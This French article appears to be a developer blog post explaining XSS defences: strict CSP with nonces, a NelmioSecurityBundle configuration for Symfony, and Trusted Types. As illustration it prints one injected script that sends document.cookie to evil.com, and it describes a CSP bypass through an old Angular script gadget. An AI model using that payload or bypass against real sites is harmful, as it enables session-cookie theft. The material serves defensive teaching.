Pendant longtemps, la sécurité web reposait sur un principe simple et terrifiant : la confiance par défaut.
Si un navigateur téléchargeait un script, il l'exécutait. Peu importe qu'il vienne du serveur d'origine, d'un CDN ou d'une injection malveillante dans un paramètre d'URL.
Le Cross-Site Scripting (XSS) n'est pas un "bug". C'est la conséquence directe de cette architecture naïve. Le navigateur ne sait pas distinguer le code légitime (le "Soi") du code de l'attaquant (le "Non-Soi").
Content Security Policy (CSP) a été introduit pour briser ce modèle. Mais un avertissement s'impose : si CSP est utilisé pour lister des domaines autorisés (script-src 'self' https://cdn.google.com), c'est une perte de temps. En 2026, cette approche est obsolète et dangereuse.
Bienvenue dans l'ère du Strict CSP.
Anatomie d'une violation XSS
Pour comprendre CSP, il faut comprendre comment le moteur de rendu (Blink, Gecko, WebKit) traite le HTML.
Quand le parser rencontre une balise <script>, il suspend le rendu du DOM, télécharge la ressource, la compile (JIT) et l'exécute. C'est un processus bloquant et aveugle. Une injection XSS, c'est simplement tromper le parser pour qu'il interprète une chaîne de caractères malveillante comme du code exécutable.
<!-- Ce que l'on croit afficher -->
<h1>Bienvenue, <?php echo $username; ?></h1>
<!-- Ce que l'attaquant injecte via l'URL ?username=<script>... -->
<h1>Bienvenue, <script>fetch('https://evil.com?cookie='+document.cookie)</script></h1>
CSP intervient au niveau du parser. Avant même de lancer la requête HTTP pour récupérer le script, le navigateur consulte la politique définie dans le header Content-Security-Policy. Si la ressource ne matche pas les règles, la requête est tuée dans l'œuf. Le code n'est même pas téléchargé, encore moins compilé.
Pourquoi les "allow-lists" sont mortes
Historiquement, CSP était configuré en listant les domaines de confiance :
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com https://apis.google.com;
Cela semble logique, mais c'est une passoire. Pourquoi ? Parce que ces domaines (CDN, API Google) hébergent aussi du code tiers ou des bibliothèques vulnérables.
L'attaque par "Script Gadget" :
Si cdnjs.cloudflare.com est autorisé, un attaquant peut injecter une balise <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js">.
Ce script est légitime (signé par Cloudflare), donc CSP le laisse passer.
Mais cette vieille version d'Angular contient des failles qui permettent d'exécuter du code arbitraire via le DOM. L'attaquant a contourné le CSP en utilisant les règles établies contre le site lui-même.
C'est pourquoi, en sécurité moderne, aucun domaine n'est listé. Seules des identités cryptographiques sont autorisées.
Strict CSP : l'approche par nonce
La seule stratégie robuste aujourd'hui est le Strict CSP. Le principe : tout interdire par défaut, et autoriser script par script, dynamiquement, grâce à un Nonce (Number used ONCE).
C'est un jeton cryptographique aléatoire, généré côté serveur à chaque requête, et inséré à la fois dans le header HTTP et dans la balise <script>.
Header HTTP :
Content-Security-Policy: script-src 'nonce-R4nd0mStr1ngB4se64e=';
HTML :
<script nonce="R4nd0mStr1ngB4se64e=">
// Ce code s'exécutera car le nonce matche
console.log('Valid !');
</script>
<script>
// Ce code sera bloqué (pas de nonce)
alert('XSS blocked');
</script>
Si un attaquant injecte une balise <script>, il ne connaît pas le nonce de la requête en cours (puisqu'il change à chaque fois). Son script est donc bloqué. C'est imparable.
Implémentation Symfony avec NelmioSecurityBundle
Dans l'écosystème Symfony, la gestion manuelle des headers CSP est possible (via un EventSubscriber), mais risquée.
La solution recommandée est d'utiliser NelmioSecurityBundle.
Voici la configuration utilisée sur ce projet (config/packages/nelmio_security.php) :
// config/packages/nelmio_security.php
$nelmio = [
'csp' => [
'enabled' => true,
'hash' => [
'algorithm' => 'sha256',
],
'enforce' => [
// On refuse le fallback niveau 1 (navigateurs obsolètes)
'level1_fallback' => false,
// Directive par défaut : tout est bloqué
'default-src' => ['self'],
// Le cœur du Strict CSP :
// 'strict-dynamic' : permet aux scripts trustés de charger d'autres scripts
// 'nonce' : injecté automatiquement par Nelmio
'script-src' => [
'self',
'strict-dynamic',
],
// Pour le style, on tolère les styles inline (souvent nécessaires pour les lib JS)
// Mais ils doivent porter le nonce
'style-src' => ['self', 'nonce', 'unsafe-inline'],
'img-src' => ['self', 'data:', 'https:'],
'object-src' => ['none'], // Flash est mort, on s'assure qu'il le reste
'upgrade-insecure-requests' => true,
],
],
];
Ce que fait Nelmio automatiquement
- Génération de Nonce : À chaque requête, un nonce cryptographiquement sûr est généré.
- Injection Twig : Il n'est pas nécessaire de passer le nonce manuellement aux vues. Il suffit d'utiliser la fonction
csp_nonce('script').
{# templates/base.html.twig #}
<script nonce="{{ csp_nonce('script') }}">
console.log('Ce script est sécurisé automatiquement.');
</script>
- Header Management : Le bundle construit le header complexe et gère les cas particuliers (comme les navigateurs ne supportant pas CSP level 3).
Trusted Types : verrouiller le DOM
Bloquer les balises <script>, c'est bien. Mais en 2026, la plupart des applications manipulent le DOM via JavaScript. Le danger ne vient plus de l'injection HTML, mais de l'injection DOM (DOM XSS).
// DOM-based XSS
const userInput = location.hash;
document.body.innerHTML = userInput; // DANGER
Une CSP standard ne bloque pas ça. Le script qui exécute cette ligne est légitime (il a le bon nonce). C'est la donnée qui est compromise.
Trusted Types résout ce problème en supprimant les fonctions dangereuses (innerHTML, document.write) de l'API du navigateur. Si une assignation de chaîne brute à innerHTML est tentée avec Trusted Types activé, le navigateur lève une exception (TypeError).
Pour écrire dans le DOM, il faut passer par une "Trusted Policy" :
// assets/security/policy.js
if (window.trustedTypes && window.trustedTypes.createPolicy) {
window.trustedTypes.createPolicy('default', {
createHTML: (string) => {
// Ici, on sanitise VRAIMENT la donnée avec DOMPurify
return DOMPurify.sanitize(string);
}
});
}
C'est la fin du "Stringly Typed" web. Le HTML est typé pour garantir son innocuité.
Le mot de la fin
CSP n'est pas une "case à cocher" avant la mise en production. C'est un changement fondamental dans la manière de concevoir le frontend.
- On ne fait plus confiance aux domaines (Allow-lists).
- On ne fait plus confiance aux chaînes de caractères (Trusted Types).
- On construit une chaîne de confiance cryptographique explicite (Nonces).
C'est plus de travail ? Oui. C'est plus de rigueur ? Oui.
Mais c'est la différence entre un site qui espère être sécurisé, et une application qui est mathématiquement incapable d'exécuter du code non autorisé.